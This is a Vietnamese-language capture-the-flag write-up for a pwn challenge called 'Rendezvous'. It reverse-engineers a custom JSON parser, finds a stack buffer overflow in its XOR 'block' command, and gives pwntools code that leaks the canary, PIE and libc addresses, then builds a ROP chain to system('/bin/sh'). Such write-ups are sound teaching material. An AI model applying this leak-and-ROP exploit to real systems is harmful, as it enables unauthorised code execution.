---
# System prepended metadata

title: WU Rendezvous ACS

---

# WU Rendezvous ACS

### I. Phân tích
- Sau khi re binary thì mình sẽ tạo lại 2 struct như sau:
```
00000000 data            struc ; (sizeof=0x50, mappedto_20)
00000000 next            dq ?                    ; offset
00000008 back            dq ?                    ; offset
00000010 base            dq ?                    ; offset
00000018 type            dd ?
0000001C field_1C        dd ?
00000020 str             dq ?                    ; offset
00000028 val             dd ?
0000002C field_2C        dd ?
00000030 field_30        dq ?
00000038 key             dq ?                    ; offset
00000040 field_40        dq ?
00000048 field_48        dq ?
00000050 data            ends
```
```
00000000 pk              struc ; (sizeof=0x38, mappedto_21)
00000000 data            dq ?                    ; XREF: sub_3788+2A/w
00000000                                         ; sub_3788+9A/w ... ; offset
00000008 size            dq ?
00000010 idx             dq ?
00000018 field_18        dq ?                    ; XREF: sub_3788+42/w
00000020 malloc          dq ?                    ; XREF: sub_3788+4A/w
00000020                                         ; sub_3788+BC/w
00000028 free            dq ?
00000030 realloc         dq ?
00000038 pk              ends
00000038
```
-  Với struct `pk` được sử dụng để sử lý chuỗi đầu vào và struct `data` là kết quả của việc sử lý chuỗi đầu vào. Chương trình sẽ sử lý chuỗi đầu vào dạng `array = []` hoặc `list = {}` để thực hiện một tính năng nào đó.
-  Data đầu vào sẽ được sử lý tại hàm calc:
```c
__int64 __fastcall calc(data *a1, pk *a2)
{
  if ( !a2 || !a2->data )
    return 0LL;
  if ( a2->idx + 4 <= a2->size && !strncmp(&a2->data[a2->idx], "null", 4uLL) )
  {
    a1->type = 4;
    a2->idx += 4LL;
    return 1LL;
  }
  else if ( a2->idx + 5 <= a2->size && !strncmp(&a2->data[a2->idx], "false", 5uLL) )
  {
    a1->type = 1;
    a2->idx += 5LL;
    return 1LL;
  }
  else if ( a2->idx + 4 <= a2->size && !strncmp(&a2->data[a2->idx], "true", 4uLL) )
  {
    a1->type = 2;
    a1->val = 1;
    a2->idx += 4LL;
    return 1LL;
  }
  else if ( a2->idx < a2->size && a2->data[a2->idx] == '"' )
  {
    return string(a1, a2);
  }
  else if ( a2->idx < a2->size && (a2->data[a2->idx] == '-' || a2->data[a2->idx] > '/' && a2->data[a2->idx] <= '9') )
  {
    return number(a1, a2);
  }
  else if ( a2->idx < a2->size && a2->data[a2->idx] == '[' )
  {
    return array(a1, a2);
  }
  else if ( a2->idx < a2->size && a2->data[a2->idx] == '{' )
  {
    return list(a1, a2);
  }
  else
  {
    return 0LL;
  }

```
- Mình sẽ focus vào các hàm xử lý như `string`, `number`, `array` và `list`.
- Trong `string` mình sẽ focus vào phần trên này:
```c
  v13 = &a2->data[a2->idx + 1];
  v14 = &a2->data[a2->idx + 1];
  v12 = 0LL;
  v15 = 0LL;
  if ( a2->data[a2->idx] == '"' )
  {
    v17 = 0LL;
    v16 = 0LL;
    while ( v14 - a2->data < a2->size && *v14 != '"' )
    {
      if ( *v14 == 92 )
      {
        if ( v14 + 1 - a2->data >= a2->size )
          goto LABEL_35;
        ++v16;
        ++v14;
      }
      ++v14;
    }
    if ( v14 - a2->data < a2->size && *v14 == '"' )
    {
      v17 = v14 - &a2->data[a2->idx] - v16;
      v15 = (char *)((__int64 (__fastcall *)(__int64))a2->malloc)(v17 + 1);
      if ( v15 )
      {
        v12 = v15;
        while ( 1 )
        {
          while ( 1 )
          {
            if ( v13 >= v14 )
            {
              *v12 = 0;
              a1->type = 16;
              a1->str = v15;
              a2->idx = v14 - a2->data;
              ++a2->idx;
              return 1LL;
            }
```
- Đầu tiên nó sẽ duyệt từ phần tử `"` để tính toán độ dài chuỗi lưu vào `v17` sau đó thực hiện cấp phát vùng nhớ tại `v15` với độ dài tương ứng vào lưu vào đó. Sau khi kết thúc chúng thực hiện đưa con trỏ `v15` vào trường `str` của `a1` và gán type = 16 đại diện cho `string`.
- Tiếp theo là `number`:
```c
__int64 __fastcall number(data *a1, pk *a2)
{
  unsigned int v3; // eax
  __int64 v4; // rax
  _BYTE v5[9]; // [rsp+17h] [rbp-69h] BYREF
  unsigned __int64 i; // [rsp+20h] [rbp-60h]
  double v7; // [rsp+28h] [rbp-58h]
  char nptr[72]; // [rsp+30h] [rbp-50h] BYREF
  unsigned __int64 v9; // [rsp+78h] [rbp-8h]

  v9 = __readfsqword(0x28u);
  v7 = 0.0;
  v5[8] = 0;
  *(_QWORD *)v5 = (unsigned __int8)sub_20C7();
  i = 0LL;
  if ( !a2 || !a2->data )
    return 0LL;
  for ( i = 0LL; i <= 62; ++i )
  {
    if ( i + a2->idx >= a2->size )
      break;
    v3 = (unsigned __int8)a2->data[a2->idx + i] - 43;
    if ( v3 > 58 )
      break;
    v4 = 1LL << v3;
    if ( (v4 & 0x400000004007FE5LL) != 0 )
    {
      nptr[i] = a2->data[a2->idx + i];
    }
    else
    {
      if ( (v4 & 8) == 0 )
        break;
      nptr[i] = v5[0];
    }
  }
  nptr[i] = 0;
  v7 = strtod(nptr, (char **)&v5[1]);
  if ( *(char **)&v5[1] == nptr )
    return 0LL;
  a1->field_30 = v7;
  if ( v7 < 2147483647.0 )
  {
    if ( v7 > -2147483648.0 )
      a1->val = (int)v7;
    else
      a1->val = 0x80000000;
  }
  else
  {
    a1->val = 0x7FFFFFFF;
  }
  a1->type = 8;
  a2->idx += *(_QWORD *)&v5[1] - (_QWORD)nptr;
  return 1LL;
}
```
- Chúng thực hiện chuyển chuỗi sang số thông qua tính toán cùng với `strtod` để chuyển sang `double` rồi nó mới ép kiểu sang `int` sau đó nó được lưu tại trường `val` của `a1`, type của nó được gán là 8.
- Tiếp theo là `array`:
```c
  skip_space(a2);
  if ( !a2 || a2->idx >= a2->size || a2->data[a2->idx] != 93 )
  {
    if ( a2 && a2->idx < a2->size )
    {
      --a2->idx;
      while ( 1 )
      {
        v5 = (data *)call_fun((__int64 (__fastcall **)(__int64))&a2->malloc);
        if ( !v5 )
          break;
        if ( v3 )
        {
          v4->next = v5;
          v5->back = v4;
        }
        else
        {
          v3 = v5;
        }
        v4 = v5;
        ++a2->idx;
        skip_space(a2);
        if ( !(unsigned int)calc(v5, a2) )
          break;
        skip_space(a2);
        if ( a2->idx >= a2->size || a2->data[a2->idx] != ',' )
        {
          if ( a2->idx >= a2->size || a2->data[a2->idx] != ']' )
            break;
          goto LABEL_20;
        }
      }
    }
```
- `Array` sẽ start bằng `[` và duyệt đến `]`, tiếp theo chúng setup một số thứ để thực hiện duyệt các con bên trong bằng đệ quy gọi lại `calc`, mỗi phần tử con cách nhau bằng `,` và loại này được gán type = 32.
- Cuối cùng là `list`:
```c
  skip_space(a2);
  if ( a2->idx >= a2->size || a2->data[a2->idx] != 125 )
  {
    if ( a2->idx < a2->size )
    {
      --a2->idx;
      while ( 1 )
      {
        v5 = (data *)call_fun((__int64 (__fastcall **)(__int64))&a2->malloc);
        if ( !v5 )
          break;
        if ( v3 )
        {
          v4->next = v5;
          v5->back = v4;
        }
        else
        {
          v3 = v5;
        }
        v4 = v5;
        ++a2->idx;
        skip_space(a2);
        if ( !(unsigned int)string(v5, a2) )
          break;
        skip_space(a2);
        v5->key = v5->str;
        v5->str = 0LL;
        if ( a2->idx >= a2->size )
          break;
        if ( a2->data[a2->idx] != ':' )
          break;
        ++a2->idx;
        skip_space(a2);
        if ( !(unsigned int)calc(v5, a2) )
          break;
        skip_space(a2);
        if ( a2->idx >= a2->size || a2->data[a2->idx] != ',' )
        {
          if ( a2->idx >= a2->size || a2->data[a2->idx] != '}' )
            break;
          goto LABEL_23;
        }
      }
    }
    else
    {
      --a2->idx;
    }
LABEL_26:
    if ( v3 )
      sub_1FC7(v3);
    return 0LL;
  }
LABEL_23:
  --a2->field_18;
  if ( v3 )
    v3->back = v4;
  a1->type = 64;
  a1->base = v3;
  ++a2->idx;
  return 1LL;
```
- Tương tự như `array` nhưng nó có thêm `:` để phân cách giữa 2 giá trị là `key` và `value` tương ứng, type của nó được gán là 64.
- `Array` và `List` sẽ được gán thêm trường `base`, `next` và `back` để chúng thực hiện duyệt các phần tử con trong đó.
- Hai chức năng này sẽ có thêm một số hàm bổ trợ như `get_value_json`, `len_array`.
-  Chương trình gồm 3 tính năng chính:
    -  Thực hiện login với `cmd = 0`:
    ```c
      if ( !cmd )
      {
        v20 = get_value_json(v12, "pass");
        if ( !v20 || !check_type_string(v20) )
          return 0xFFFFFFFFLL;
        if ( !strcmp(v20->str, passwd) )
          auth = 1;
        goto LABEL_64;
      }
   ```
   - Thực hiện việc tạo `key` string với `cmd = 1`:
   ```c
      if ( cmd == 1 )
      {
        if ( !auth )
          return 0xFFFFFFFFLL;
        v17 = get_value_json(v12, "key");
        if ( !v17 || !check_type_array(v17) )
          return 0xFFFFFFFFLL;
        v2 = len_array(v17);
        size = v2;
        if ( v2 <= 0 )
          return 0xFFFFFFFFLL;
        v19 = (char *)malloc(v2);
        if ( !v19 )
          return 0xFFFFFFFFLL;
        v6 = 0LL;
        for ( k = v17->base; k; k = k->next )
        {
          if ( !check_type_number(k) )
            return 0xFFFFFFFFLL;
          v3 = v6++;
          v19[v3] = k->val;
        }
        if ( key )
          free(key);
        key = v19;
        key_size = size;
        goto LABEL_64;
      }
   ```
   - Tính năng cuối cùng có thể là mã hóa hoặc gì đó mình không rõ với `cmd = 2`, đây cũng là tính năng gây ra lỗi overflow khi biến `v21` được khai báo kiểu char với 264 byte.
   ```c
    if ( cmd != 2 )
      break;
    if ( !auth || !key || !key_size )
      return 0xFFFFFFFFLL;
    v14 = get_value_json(v12, "block");
    if ( !v14 || !check_type_array(v14) )
      return 0xFFFFFFFFLL;
    v4 = len_array(v14);
    v15 = v4;
    if ( v4 <= 0 || v4 > (unsigned __int64)key_size )
      return 0xFFFFFFFFLL;
    v8 = 0LL;
    for ( i = v14->base; i; i = i->next )
    {
      ++v8;
      if ( check_type_number(i) )
        v21[v8 - 1] = i->val ^ key[v8 - 1];
    }
    v16 = get_value_json(v12, "content");
    if ( !v16 || !check_type_array(v16) )
      return 0xFFFFFFFFLL;
    puts("\n--- start ---");
    v10 = 0LL;
    for ( j = v16->base; j; j = j->next )
    {
      if ( !check_type_number(j) )
        return 0xFFFFFFFFLL;
      v5 = v10++;
      putchar((unsigned __int8)j->val ^ (unsigned __int8)v21[v5 % v15]);
    }
    puts("\n---- end ----");
    ```
- Biến `cmd` được lấy như sau `{"cmd": cmd}`:
```c
    v13 = get_value_json(v12, "cmd");
    if ( !v13 )
      return 0xFFFFFFFFLL;
    if ( !check_type_number(v13) )
      return 0xFFFFFFFFLL;
    cmd = v13->val;
```
- Để đạt được các tính năng còn lại thì đầu tiên ta sẽ phải login trước nên ta cần lấy `passwd` được in ra lúc đầu để login. Ngoài ra thì trong `data` chúng ta sẽ cần một `header`.
```python
class data:
    def __init__(self):
        self.header = b'\xef\xbb\xbf'
        self.data = b''
        
    def craft(self):
        return self.header+self.data

passwd = r.recvline(False).decode()
pk = data()
# authen
pk.data = '{{"cmd": 0, "pass": "{}"}}'.format(passwd).encode()
r.sendline(pk.craft())
```
- Có overflow nhưng lại dính `canary` và `pie` thì trước hết ta cần phải leak và ngay tại chức năng `2` ta có thể in ra nhưng gì của `v21`:
```c
    if ( !auth || !key || !key_size )
      return 0xFFFFFFFFLL;
    v14 = get_value_json(v12, "block");
    if ( !v14 || !check_type_array(v14) )
      return 0xFFFFFFFFLL;
    v4 = len_array(v14);
    v15 = v4;
    if ( v4 <= 0 || v4 > (unsigned __int64)key_size )
      return 0xFFFFFFFFLL;
    v8 = 0LL;
    for ( i = v14->base; i; i = i->next )
    {
      ++v8;
      if ( check_type_number(i) )
        v21[v8 - 1] = i->val ^ key[v8 - 1];
    }
    v16 = get_value_json(v12, "content");
    if ( !v16 || !check_type_array(v16) )
      return 0xFFFFFFFFLL;
    puts("\n--- start ---");
    v10 = 0LL;
    for ( j = v16->base; j; j = j->next )
    {
      if ( !check_type_number(j) )
        return 0xFFFFFFFFLL;
      v5 = v10++;
      putchar((unsigned __int8)j->val ^ (unsigned __int8)v21[v5 % v15]);
    }
    puts("\n---- end ----");
```
- Nhưng để đến được đây thì ta cần phải đi qua mấy thứ trên. Đầu tiên thì ta cần `key` thế nên ta sẽ phải thực hiện tính năng `1`. Như trên thì `key` dùng để xor từng phần tử của `block` và lưu vào `v21` nên mình sẽ chọn đại một giá trị `"key":[0,....]`.
- Mà điều này cũng không quan trọng lắm, ta có thể thấy lúc in từ `v21` thì `v21[v5 % v15]` với `v15` là kích thước của array của `block` và nó sẽ không bao giờ in ra quá `v15`. Tức là càng nhiều phần tử thì càng in ra nhiều? Không hẳn, vì nếu như càng nhiều `number` trong `array` của `block` thì nó sẽ thực hiện phép xor càng nhiều và nó sẽ đè luôn giá trị của canary. Để làm tăng `v15` mà không bị xor thì ta chỉ cần chỉ định type là dạng string là được.
```c
# create key.
pk.data = '{{"cmd": 1, "key": [{}]}}'.format('0,'*0x150 + '0').encode()
r.sendline(pk.craft())

# leak
pk.data = '{{"cmd": 2, "block": [{}], "content": [{}]}}'.format('97,'*0x105 + '98,99,100,' + '"a",'*0x48 + '"a"', '0,'*0x140 + '0').encode()
r.sendline(pk.craft())

r.recvuntil(b'abcd')
canary = u64(r.recv(8))
info("Canary: "+hex(canary))
stack = u64(r.recv(8))
info("Stack: "+hex(stack))
exe.address = u64(r.recv(8)) - 0xb75
info("Binary: "+hex(exe.address))
r.recv(24)
libc.address = u64(r.recv(8)) - 0x29d90
info("Libc: "+hex(libc.address))
```
- Sau khi leak thì thực hiện overflow và lấy shell:
```python
pop_rdi = libc.address + 0x000000000002a3e5
payload = flat(
    canary, 0,
    pop_rdi, next(libc.search(b'/bin/sh')),
    pop_rdi+1, libc.sym['system']
)
pk.data = '{{"cmd": 2, "block": [{}]}}'.format('98,'*0x108 + ','.join(str(byte) for byte in payload)).encode()
r.sendline(pk.craft())
```
![image](https://hackmd.io/_uploads/rk7xE4oV6.png)
